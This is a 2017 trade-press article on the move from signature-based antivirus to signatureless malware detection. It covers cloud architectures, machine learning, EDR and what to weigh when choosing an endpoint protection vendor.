Are you next-gen secure? Defense-in-depth security key to IT

Grafvision - Fotolia


What to consider about signatureless malware detection

Endpoint security is changing into signatureless malware detection and protection. Expert Matthew Pascucci discusses the transition away from signatures.

Antivirus isn't dead; it's just changing. People have been calling for the death of antivirus for years, but in...

reality, it isn't possible. There will always be a need for endpoint protection, no matter what anyone says. No one in their right mind is going to leave an endpoint purposely unprotected, so calling for the death of antivirus is a little premature. The people who call for the execution of antivirus are likely fed up with how it works and put too much faith in its ability to catch every malware sample.

Using signature-based antimalware means you're always one step behind attackers, and for those not using a defense-in-depth approach, this reliance on endpoint protection can cause a false sense of security.

This backlash against the old method has caused many companies, both vendors and customers, to move toward more of a signatureless malware detection model.

Preparing to use signatureless malware detection

One of the first things to look at in any implementation of technology is the architecture. Understanding how this technology works in a particular environment and under certain circumstances is a necessity.

Many of today's next-generation malware protections are pivoted to the cloud to limit the management footprint within the enterprise. This means that all the back-end processing is done in a cloud instance that doesn't sit on premises. Depending on your personal risk appetite, this might become an issue, or it might open an opportunity for increased manageability of endpoints throughout the organization.

It also means that, no matter what that endpoint is -- a coffee shop network, a home network or an enterprise network -- as long as it has an internet connection, it's under management -- all without the enterprise putting anything in the DMZ to proxy back to internal management. This is important to mention, since the majority of next-generation malware protection uses this architecture model.

It's interesting that so many vendors add the ability to be completely cloud-based, but it's not the main reason the vendors are being considered. It's because of their signatureless malware detection approach. When reviewing vendors, it's crucial to determine how they're performing defense and mitigation.

When these products first hit the market, many vendors stated that they used signatureless malware detection, but after digging into them more, you'd find that they were more of an endpoint detection and response (EDR) offering, and didn't actually prevent attacks. EDR is fine, but when looking for an endpoint protection product, the inability to alert users to and prevent attacks is a deal breaker.

Determining how these products prevent malware is another major topic of discussion. Are they relying heavily on VirusTotal and importing that data into their endpoint to block new alerts?

Last year, VirusTotal put their foot down on this issue, and required vendors that were using their service to also give back to them (in addition to subscription fees paid to VirusTotal, vendors now must also integrate their scanning engines and share data with the service to participate). This stopped a few vendors from relying on them for threat prevention and helped solidify the industry. When looking over vendors in this space, be sure to learn how they protect against malware.

Vendor considerations

When it comes to machine learning, many vendors are developing their own algorithms to determine the likelihood that a file is malicious. There are some endpoint agents that will perform static analysis of the file on the endpoint itself, or that will utilize cloud sandboxes to detonate the file for nefarious activity.

This independence from signatures has spurred vendors to issue fewer updates to their agents, and to only require updates for feature enhancements. The understanding of a file and its malicious behavior is also learned over time spent within your network.

One of the biggest concerns with signature-based antivirus is that an endpoint could have protection installed, but still be vulnerable because it isn't up to date. With signatureless malware detection, this need is greatly reduced, though not completely.

Be careful of vendors who tout their products as signatureless and then say they work based off of whitelists or blacklists of software and hashes. This is essentially signatureless, but doesn't scale well in medium to large organizations. It does have its place when installed on particular images -- such as point of sale, kiosks and so on -- or systems that don't change software frequently. These vendors aren't bad; their software just doesn't scale to the needs of faster-moving or larger organizations. While the software may be signatureless, it's not based on an understanding of the file's risk, so much as what's allowed to be installed based on your understanding of the file.

Another thing to review is whether the new signatureless malware protection will defend against memory attacks, macro threats and general exploit mitigation. Many of these vendors are deployed to protect files that are installed or downloaded on an endpoint, but will be limited if an attacker is exploiting the operating system itself from within your network. Review these options and get an understanding of what the product can actually do. It's because of this that many products will bring up their whitelisting, memory protection features and EDR tools separately.

The EDR tools are important because, with the increase of malware and attackers in networks, it's possible that a system can be compromised without a file touching the endpoint. The next-generation malware protection understands this hole, and many vendors are snapping monitoring and logging on the endpoint to look for malicious behavior. This can help you understand when an attack has occurred that was missed by the software or that wasn't detected due to an exploit that wasn't malware related. Having this feature included within your endpoint malware protection is crucial.

As you've probably seen, the latest buzzwords in the security industry are machine learning and artificial intelligence. This shows that the old method of running signatures is no longer working, and will soon officially be replaced by software that doesn't rely on it solely.

With this being said, I don't want to lull anyone into a false sense of security by propagandizing the panacea of signatureless malware detection. This isn't a foolproof method of defending yourself, and if we believe that, we'll be in the same boat as we were with signature-based antivirus. Yes, it's better than its predecessor, but it's not a silver bullet. When looking into signatureless malware detection, it's important to understand how it will protect an endpoint from threats and if the architecture will work with your organization. 

Next Steps

Find out what's in store for the antivirus industry after a major Symantec bug

Learn how vulnerabilities in antivirus tools affect enterprises

Discover how to protect servers from Miner-C malware

This was last published in March 2017

Dig Deeper on Threats and vulnerabilities